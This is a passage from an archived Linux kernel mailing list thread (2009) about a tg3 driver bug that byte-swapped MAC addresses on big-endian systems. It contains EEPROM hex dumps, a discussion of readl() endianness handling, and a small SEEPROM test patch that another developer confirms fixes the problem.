0x0000005f      0x00
0x00000060      0x00
0x00000061      0x00
0x00000062      0x00
0x00000063      0x00
0x00000064      0x00
0x00000065      0x00
0x00000066      0x00
0x00000067      0x00
0x00000068      0x00
0x00000069      0x00
0x0000006a      0x00
0x0000006b      0x00
0x0000006c      0x00
0x0000006d      0x00
0x0000006e      0x00
0x0000006f      0x00
0x00000070      0x00
0x00000071      0x00
0x00000072      0x00
0x00000073      0x00
0x00000074      0x43
0x00000075      0x00
0x00000076      0x00
0x00000077      0x8c
0x00000078      0x00
0x00000079      0x20
0x0000007a      0x61
0x0000007b      0x10
0x0000007c      0x00
0x0000007d      0x00
0x0000007e      0x00
0x0000007f      0x30
0x00000080      0x6e
0x00000081      0x4b
0x00000082      0x15
0x00000083      0x59
0x00000084      0x42
0x00000085      0x43
0x00000086      0x4d
0x00000087      0x39
0x00000088      0x35
0x00000089      0x37
0x0000008a      0x30
0x0000008b      0x30
0x0000008c      0x41
0x0000008d      0x36
0x0000008e      0x00
0x0000008f      0x00

So that's byteswapped from the 2.6.30 output ... confirming your theory,
I think.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robin Holt <holt@sgi.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Tue, 14 Apr 2009 10:31:19 -0500
Lines: 308
Approved: news@gmane.org
Message-ID: <20090414153119.GL10768@sgi.com>
References: <1239681085.3278.122.camel@mulgrave.int.hansenpartnership.com> <C27F8246C663564A84BB7AB343977242177D75A052@IRVEXCHCCR01.corp.ad.broadcom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239723102 27989 80.91.229.12 (14 Apr 2009 15:31:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 15:31:42 +0000 (UTC)
Cc: 'James Bottomley' <James.Bottomley@HansenPartnership.com>,
	Matthew Carlson <mcarlson@broadcom.com>,
	David Miller <davem@davemloft.net>,
	"netdev@vger.kernel.org" <netdev@vger.kernel.org>,
	"linux-parisc@vger.kernel.org" <linux-parisc@vger.kernel.org>
To: Michael Chan <mchan@broadcom.com>
Original-X-From: netdev-owner@vger.kernel.org Tue Apr 14 17:33:00 2009
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ltkd1-0006jX-2c
	for linux-netdev-2@gmane.org; Tue, 14 Apr 2009 17:32:51 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752504AbZDNPbW (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Tue, 14 Apr 2009 11:31:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752098AbZDNPbW
	(ORCPT <rfc822;netdev-outgoing>); Tue, 14 Apr 2009 11:31:22 -0400
Original-Received: from relay1.sgi.com ([192.48.179.29]:51086 "EHLO relay.sgi.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1751833AbZDNPbV (ORCPT <rfc822;netdev@vger.kernel.org>);
	Tue, 14 Apr 2009 11:31:21 -0400
Original-Received: from estes.americas.sgi.com (estes.americas.sgi.com [128.162.236.10])
	by relay1.corp.sgi.com (Postfix) with ESMTP id BB4638F8096;
	Tue, 14 Apr 2009 08:31:19 -0700 (PDT)
Original-Received: from lnx-holt.americas.sgi.com (lnx-holt.americas.sgi.com [128.162.233.109])
	by estes.americas.sgi.com (Postfix) with ESMTP id 9288070001C8;
	Tue, 14 Apr 2009 10:31:19 -0500 (CDT)
Original-Received: from holt by lnx-holt.americas.sgi.com with local (Exim 4.69)
	(envelope-from <holt@sgi.com>)
	id 1LtkbX-00005u-Hq; Tue, 14 Apr 2009 10:31:19 -0500
Content-Disposition: inline
In-Reply-To: <C27F8246C663564A84BB7AB343977242177D75A052@IRVEXCHCCR01.corp.ad.broadcom.com>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: netdev-owner@vger.kernel.org
Precedence: bulk
List-ID: <netdev.vger.kernel.org>
X-Mailing-List: netdev@vger.kernel.org
Xref: news.gmane.org gmane.linux.network:125262 gmane.linux.ports.parisc:1535
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1535>

Please don't let me distract from this conversation, but here are the
ethtool dumps on ia64 for the same BCM5701 adapter for both 2.6.30-rc1
and 2.6.27.y

When I dump BCM5704 adapters, the first four bytes match.

2.6.27.19
Address   	Data
----------	----
0x00000000	0x66
0x00000001	0x99
0x00000002	0x55
0x00000003	0xaa
0x00000004	0x08
0x00000005	0x00
0x00000006	0x00
0x00000007	0x00
0x00000008	0x00
0x00000009	0x00
0x0000000a	0x02
0x0000000b	0xa5
0x0000000c	0x00
0x0000000d	0x00
0x0000000e	0x02
0x0000000f	0x00
0x00000010	0x08
0x00000011	0xdf
0x00000012	0x2a
0x00000013	0xb1
0x00000014	0x00
0x00000015	0x01
0x00000016	0x00
0x00000017	0x00
0x00000018	0x00
0x00000019	0x00
0x0000001a	0x3c
0x0000001b	0x00
0x0000001c	0x00
0x0000001d	0x00
0x0000001e	0x10
0x0000001f	0x00
0x00000020	0x00
0x00000021	0x00
0x00000022	0x00
0x00000023	0x00
0x00000024	0x00
0x00000025	0x00
0x00000026	0x00
0x00000027	0x00
0x00000028	0x00
0x00000029	0x00
0x0000002a	0x00
0x0000002b	0x00
0x0000002c	0x00
0x0000002d	0x00
0x0000002e	0x00
0x0000002f	0x00
0x00000030	0x00
0x00000031	0x00
0x00000032	0x00
0x00000033	0x00
0x00000034	0x00
0x00000035	0x00
0x00000036	0x00
0x00000037	0x00
0x00000038	0x00
0x00000039	0x00
0x0000003a	0x00
0x0000003b	0x00
0x0000003c	0x00
0x0000003d	0x00
0x0000003e	0x00
0x0000003f	0x00
0x00000040	0x00
0x00000041	0x00
0x00000042	0x00
0x00000043	0x00
0x00000044	0x00
0x00000045	0x00
0x00000046	0x00
0x00000047	0x00
0x00000048	0x00
0x00000049	0x00
0x0000004a	0x00
0x0000004b	0x00
0x0000004c	0x00
0x0000004d	0x00
0x0000004e	0x00
0x0000004f	0x00
0x00000050	0x00
0x00000051	0x00
0x00000052	0x00
0x00000053	0x00
0x00000054	0x00
0x00000055	0x00
0x00000056	0x00
0x00000057	0x00
0x00000058	0x00
0x00000059	0x00
0x0000005a	0x00
0x0000005b	0x00
0x0000005c	0x00
0x0000005d	0x00
0x0000005e	0x00
0x0000005f	0x00
0x00000060	0x00
0x00000061	0x00
0x00000062	0x00
0x00000063	0x00
0x00000064	0x00
0x00000065	0x00
0x00000066	0x00
0x00000067	0x00
0x00000068	0x00
0x00000069	0x00
0x0000006a	0x00
0x0000006b	0x00
0x0000006c	0x00
0x0000006d	0x00
0x0000006e	0x00
0x0000006f	0x00
0x00000070	0x00
0x00000071	0x00
0x00000072	0x00
0x00000073	0x00
0x00000074	0x43
0x00000075	0x00
0x00000076	0x00
0x00000077	0x8c
0x00000078	0x00
0x00000079	0x00
0x0000007a	0x00
0x0000007b	0x01
0x0000007c	0x00
0x0000007d	0x00
0x0000007e	0x08
0x0000007f	0x00
0x00000080	0x69
0x00000081	0x13
0x00000082	0xe6
0x00000083	0x3c
0x00000084	0x33
0x00000085	0x43
0x00000086	0x39
0x00000087	0x39
0x00000088	0x36
0x00000089	0x42
0x0000008a	0x2d
0x0000008b	0x54
0x0000008c	0x00
0x0000008d	0x00
0x0000008e	0x00
0x0000008f	0x00


2.6.30-rc1
Address   	Data
----------	----
0x00000000	0xaa
0x00000001	0x55
0x00000002	0x99
0x00000003	0x66
0x00000004	0x00
0x00000005	0x00
0x00000006	0x00
0x00000007	0x08
0x00000008	0xa5
0x00000009	0x02
0x0000000a	0x00
0x0000000b	0x00
0x0000000c	0x00
0x0000000d	0x02
0x0000000e	0x00
0x0000000f	0x00
0x00000010	0xb1
0x00000011	0x2a
0x00000012	0xdf
0x00000013	0x08
0x00000014	0x00
0x00000015	0x00
0x00000016	0x01
0x00000017	0x00
0x00000018	0x00
0x00000019	0x3c
0x0000001a	0x00
0x0000001b	0x00
0x0000001c	0x00
0x0000001d	0x10
0x0000001e	0x00
0x0000001f	0x00
0x00000020	0x00
0x00000021	0x00
0x00000022	0x00
0x00000023	0x00
0x00000024	0x00
0x00000025	0x00
0x00000026	0x00
0x00000027	0x00
0x00000028	0x00
0x00000029	0x00
0x0000002a	0x00
0x0000002b	0x00
0x0000002c	0x00
0x0000002d	0x00
0x0000002e	0x00
0x0000002f	0x00
0x00000030	0x00
0x00000031	0x00
0x00000032	0x00
0x00000033	0x00
0x00000034	0x00
0x00000035	0x00
0x00000036	0x00
0x00000037	0x00
0x00000038	0x00
0x00000039	0x00
0x0000003a	0x00
0x0000003b	0x00
0x0000003c	0x00
0x0000003d	0x00
0x0000003e	0x00
0x0000003f	0x00
0x00000040	0x00
0x00000041	0x00
0x00000042	0x00
0x00000043	0x00
0x00000044	0x00
0x00000045	0x00
0x00000046	0x00
0x00000047	0x00
0x00000048	0x00
0x00000049	0x00
0x0000004a	0x00
0x0000004b	0x00
0x0000004c	0x00
0x0000004d	0x00
0x0000004e	0x00
0x0000004f	0x00
0x00000050	0x00
0x00000051	0x00
0x00000052	0x00
0x00000053	0x00
0x00000054	0x00
0x00000055	0x00
0x00000056	0x00
0x00000057	0x00
0x00000058	0x00
0x00000059	0x00
0x0000005a	0x00
0x0000005b	0x00
0x0000005c	0x00
0x0000005d	0x00
0x0000005e	0x00
0x0000005f	0x00
0x00000060	0x00
0x00000061	0x00
0x00000062	0x00
0x00000063	0x00
0x00000064	0x00
0x00000065	0x00
0x00000066	0x00
0x00000067	0x00
0x00000068	0x00
0x00000069	0x00
0x0000006a	0x00
0x0000006b	0x00
0x0000006c	0x00
0x0000006d	0x00
0x0000006e	0x00
0x0000006f	0x00
0x00000070	0x00
0x00000071	0x00
0x00000072	0x00
0x00000073	0x00
0x00000074	0x8c
0x00000075	0x00
0x00000076	0x00
0x00000077	0x43
0x00000078	0x01
0x00000079	0x00
0x0000007a	0x00
0x0000007b	0x00
0x0000007c	0x00
0x0000007d	0x08
0x0000007e	0x00
0x0000007f	0x00
0x00000080	0x3c
0x00000081	0xe6
0x00000082	0x13
0x00000083	0x69
0x00000084	0x39
0x00000085	0x39
0x00000086	0x43
0x00000087	0x33
0x00000088	0x54
0x00000089	0x2d
0x0000008a	0x42
0x0000008b	0x36
0x0000008c	0x00
0x0000008d	0x00
0x0000008e	0x00
0x0000008f	0x00

--
To unsubscribe from this list: send the line "unsubscribe netdev" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Tue, 14 Apr 2009 09:39:11 -0600
Lines: 126
Approved: news@gmane.org
Message-ID: <20090414153911.GA22011@lackof.org>
References: <1239636110.3278.29.camel@mulgrave.int.hansenpartnership.com> <20090413180052.GB11076@xw6200.broadcom.net> <1239646516.3278.57.camel@mulgrave.int.hansenpartnership.com> <20090413183725.GC11109@xw6200.broadcom.net> <1239655698.3278.83.camel@mulgrave.int.hansenpartnership.com> <20090414011710.GA11615@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239723579 29639 80.91.229.12 (14 Apr 2009 15:39:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 15:39:39 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@HansenPartnership.com>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Michael Chan <mchan@broadcom.com>
To: Matt Carlson <mcarlson@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 17:40:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ltkkm-0001iF-59
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 17:40:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755389AbZDNPjO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Apr 2009 11:39:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754290AbZDNPjO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 14 Apr 2009 11:39:14 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:36144 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754789AbZDNPjN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Apr 2009 11:39:13 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 1F91833E001D;
	Tue, 14 Apr 2009 09:39:12 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 7JFuvp+wHKIc; Tue, 14 Apr 2009 09:39:11 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id A4DD033E001E; Tue, 14 Apr 2009 09:39:11 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090414011710.GA11615@xw6200.broadcom.net>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1536
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1536>

On Mon, Apr 13, 2009 at 06:17:10PM -0700, Matt Carlson wrote:
> Sorry for the delay.  I just ran the same experiment on an ia64 we have
> in-house.  The results were the same.  The machine was a HP integrity
> BL870C pre-production blade with dual 5704S LOMs.  More responses
> inline.

Matt,
sorry - why test this on ia64?
ia64 is also little endian.
parisc is big endian.

> On Mon, Apr 13, 2009 at 01:48:18PM -0700, James Bottomley wrote:
> > On Mon, 2009-04-13 at 11:37 -0700, Matt Carlson wrote:
> > > But that is exactly what the code is doing.  tg3_nvram_read_be32() will
> > > return the data in bytestream format.  A memcpy() should be all that is
> > > needed to transport the data to a different memory location.
> > 
> > But not the one you've done.  cpu_to_be32 is a nop pass through on our
> > architecture, so tg3_nvram_read_be32 is equivalent to tg3_nvram_read on
> > our architecture (i.e. identical to the code that was doing the read in
> > 2.6.29).
> 
> tg3_nvram_read() returns a 32-bit word of NVRAM data, swapped according to
> the byteswapping rules for all register accesses.

Lets review that calling order I found in 2.6.29-rc8:
	tg3_nvram_read -> tr32 -> tg3_read32 -> readl -> swab

o The swab is actually in tg3_nvram_read.
o one should be able to get rid of indirect function call in tr32.

>  On big endian machines,
> the data returned will be exactly as it would have been in NVRAM.  On
> little endian machines, the data will be swapped when compared to a raw
> read of the NVRAM.

Is this referring to the returned value from readl() or from tg3_nvram_read()?
The readl() return value will be the same in both LE and BE architectures.
readl() adjusts for endianess.
__raw_readl() does not.

> To bring the data back to a bytestream format on LE
> systems, a swap is needed. 

For the above code path, if swap is needed on LE, it's also needed on BE.

> After that, a memcpy should be all that is
> required to extract the MAC address.
> 
> Code that operates on data in a bytestream format will necessarily look
> different than code that operates on data as a 32-bit native endian
> quantity.  The code changes can look a bit drastic and are easily
> culpable at first glance.

This is true for code paths that deal with DMA data. It's not true
for readl() or writel() since those are already taking care of
the endianess.

> > However, the memcpy is the wrong way around for us.
> 
> It shouldn't be, and that is the problem.  We are trying to determine
> why the data isn't in the form we think it should be in.  The most
> difficult part of this discussion is convincing ourselves that the end
> result is the same, even though the path to get there changes in
> significant ways.

It's not that hard. readl() is already compensating for endianess.

> The old code read the data from NVRAM, did a blind swap of the data and
> then operated on that data as a 32-bit quantity.  The blind swap was
> completely superfluous and only changed which byte the driver attempted
> to get its data.

The swap is not superfluous if one is using memcpy.

>  An important property of this version is that the
> same code when working with machines of either endianness.
> 
> If you are with me this far, then hopefully you can see that, while the
> two versions of the code appear different, they wind up with the same
> result.  The change was made because the code became much more readable
> when we describe the operations as a bytestream.

I think james already demonstrated that the result is not the same.

I'll stop here since most of the discussion is based on not knowing
that readl() takes care of endianess.

hth,
grant

> > If you look at an example, the original code said
> > 
> > dev_addr[0] = hi >> 16;
> > dev_addr[1] = hi >> 24
> > 
> > So MSB-1 and MSB.  However, on a BE machine these are at offset one and
> > zero from the start of the word.  The replacement memcopy is:
> > 
> > memcpy(&dev->dev_addr[0], ((char *)&hi) + 2, 2)
> > 
> > i.e. offset 3 and 4, which actually copies LSB-1 and LSB into there.
> > You can follow similar logic to show that the lo copy is wrong too.
> 
> Yes.  The code will be different depending on whether you treat the data
> as a native endian 32-bit word or as a 4 byte segment of a bytestream.
> 
> > Perhaps the fix is just to put the tg3_nvram_read() back as well as the
> > original by loads?
> 
> The code is much more readable with the changes in place.  I'd rather
> not back them out.  I'd like to find out why you are getting different
> results than I am with my tests.
> 
> I just saw your NVRAM dump post.  Perhaps that'll shed some light on the
> matter.
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Carlson" <mcarlson@broadcom.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: SEEPROM test patch
Date: Tue, 14 Apr 2009 10:21:23 -0700
Lines: 50
Approved: news@gmane.org
Message-ID: <20090414172123.GA12319@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239729710 19530 80.91.229.12 (14 Apr 2009 17:21:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 17:21:50 +0000 (UTC)
Cc: "Michael Chan" <mchan@broadcom.com>, netdev@vger.kernel.org,
	"Parisc List" <linux-parisc@vger.kernel.org>
To: "Robin Holt" <holt@sgi.com>,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 19:23:08 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtmLj-000307-DQ
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 19:23:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756259AbZDNRVj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Apr 2009 13:21:39 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756430AbZDNRVi
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 14 Apr 2009 13:21:38 -0400
Original-Received: from mms2.broadcom.com ([216.31.210.18]:2139 "EHLO mms2.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753937AbZDNRVh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Apr 2009 13:21:37 -0400
Original-Received: from [10.11.16.99] by mms2.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Tue, 14 Apr 2009 10:21:25 -0700
X-Server-Uuid: D3C04415-6FA8-4F2C-93C1-920E106A2031
Original-Received: by mail-irva-10.broadcom.com (Postfix, from userid 47) id
 0F1382C1; Tue, 14 Apr 2009 10:21:25 -0700 (PDT)
Original-Received: from mail-irva-8.broadcom.com (mail-irva-8 [10.11.18.52]) by
 mail-irva-10.broadcom.com (Postfix) with ESMTP id ED78F2B0; Tue, 14 Apr
 2009 10:21:24 -0700 (PDT)
Original-Received: from mail-irva-13.broadcom.com (mail-irva-13.broadcom.com
 [10.11.16.103]) by mail-irva-8.broadcom.com (MOS 3.7.5a-GA) with ESMTP
 id HPM95037; Tue, 14 Apr 2009 10:21:23 -0700 (PDT)
Original-Received: from xw6200 (mcarlson [10.12.148.101]) by
 mail-irva-13.broadcom.com (Postfix) with ESMTP id 19A1474D04; Tue, 14
 Apr 2009 10:21:23 -0700 (PDT)
User-Agent: Mutt/1.5.16 (2007-06-09)
X-WSS-ID: 65FA199F3D421382064-01-01
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1537 gmane.linux.network:125270
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1537>

James, Robin.  I looked through the patches again and found that the
SEEPROM routines were not being adjusted correctly along with the flash
NVRAM access routines.  The patch below should shore up the difference.
The patch works on both BE and LE systems.

Can you apply the patch below and see if it fixes your problem?  (You
may have to back out David's changes for the mac addresses to be
restored, but 'eeprom -e' dumps should be fixed.)  If it does, I'll
post a replacement patch that documents why the code is doing what it's
doing.


diff --git a/drivers/net/tg3.c b/drivers/net/tg3.c
index 6a736dd..3ef43c2 100644
--- a/drivers/net/tg3.c
+++ b/drivers/net/tg3.c
@@ -2190,7 +2190,10 @@ static int tg3_nvram_read_using_eeprom(struct tg3 *tp,
 	if (!(tmp & EEPROM_ADDR_COMPLETE))
 		return -EBUSY;
 
-	*val = tr32(GRC_EEPROM_DATA);
+	tmp = tr32(GRC_EEPROM_DATA);
+
+	*val = swab32(tmp);
+
 	return 0;
 }
 
@@ -10657,13 +10660,13 @@ static int tg3_nvram_write_block_using_eeprom(struct tg3 *tp,
 
 	for (i = 0; i < len; i += 4) {
 		u32 addr;
-		__be32 data;
+		__le32 data;
 
 		addr = offset + i;
 
 		memcpy(&data, buf + i, 4);
 
-		tw32(GRC_EEPROM_DATA, be32_to_cpu(data));
+		tw32(GRC_EEPROM_DATA, le32_to_cpu(data));
 
 		val = tr32(GRC_EEPROM_ADDR);
 		tw32(GRC_EEPROM_ADDR, val | EEPROM_ADDR_COMPLETE);

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.network
Subject: Re: SEEPROM test patch
Date: Tue, 14 Apr 2009 17:44:17 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <1239731057.3357.71.camel@mulgrave.int.hansenpartnership.com>
References: <20090414172123.GA12319@xw6200.broadcom.net>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1239731068 24058 80.91.229.12 (14 Apr 2009 17:44:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 17:44:28 +0000 (UTC)
Cc: Robin Holt <holt@sgi.com>, Michael Chan <mchan@broadcom.com>,
	netdev@vger.kernel.org, Parisc List <linux-parisc@vger.kernel.org>
To: Matt Carlson <mcarlson@broadcom.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Apr 14 19:45:47 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ltmhe-0003GX-S8
	for glpp-linux-parisc@gmane.org; Tue, 14 Apr 2009 19:45:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751003AbZDNRoR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 14 Apr 2009 13:44:17 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751744AbZDNRoR
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 14 Apr 2009 13:44:17 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:43045 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751003AbZDNRoQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 14 Apr 2009 13:44:16 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id CF6628EE13D;
	Tue, 14 Apr 2009 10:44:15 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id fh5cTUdRn-qT; Tue, 14 Apr 2009 10:44:15 -0700 (PDT)
Original-Received: from [192.168.10.222] (mulgrave.ext.hansenpartnership.com [192.168.10.222])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 2EC678EE037;
	Tue, 14 Apr 2009 10:44:15 -0700 (PDT)
In-Reply-To: <20090414172123.GA12319@xw6200.broadcom.net>
X-Mailer: Evolution 2.22.3.1 (2.22.3.1-1.fc9) 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1538 gmane.linux.network:125271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1538>

On Tue, 2009-04-14 at 10:21 -0700, Matt Carlson wrote:
> James, Robin.  I looked through the patches again and found that the
> SEEPROM routines were not being adjusted correctly along with the flash
> NVRAM access routines.  The patch below should shore up the difference.
> The patch works on both BE and LE systems.
> 
> Can you apply the patch below and see if it fixes your problem?  (You
> may have to back out David's changes for the mac addresses to be
> restored, but 'eeprom -e' dumps should be fixed.)  If it does, I'll
> post a replacement patch that documents why the code is doing what it's
> doing.

Yes, that seems to work better:  both the mac address and ethtool -e
output are back to what 2.6.29 reports.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Robin Holt <holt@sgi.com>
Newsgroups: gmane.linux.network,gmane.linux.ports.parisc
Subject: Re: SEEPROM test patch
Date: Tue, 14 Apr 2009 13:22:39 -0500
Lines: 25
Approved: news@gmane.org
Message-ID: <20090414182239.GM10768@sgi.com>
References: <20090414172123.GA12319@xw6200.broadcom.net> <1239731057.3357.71.camel@mulgrave.int.hansenpartnership.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1239733402 32293 80.91.229.12 (14 Apr 2009 18:23:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 14 Apr 2009 18:23:22 +0000 (UTC)
Cc: Matt Carlson <mcarlson@broadcom.com>, Robin Holt <holt@sgi.com>,
	Michael Chan <mchan@broadcom.com>, netdev@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: netdev-owner@vger.kernel.org Tue Apr 14 20:24:40 2009
Return-path: <netdev-owner@vger.kernel.org>
Envelope-to: linux-netdev-2@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LtnJ9-0000lU-Ss
	for linux-netdev-2@gmane.org; Tue, 14 Apr 2009 20:24:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757249AbZDNSWn (ORCPT <rfc822;linux-netdev-2@m.gmane.org>);
	Tue, 14 Apr 2009 14:22:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756076AbZDNSWm
	(ORCPT <rfc822;netdev-outgoing>); Tue, 14 Apr 2009 14:22:42 -0400
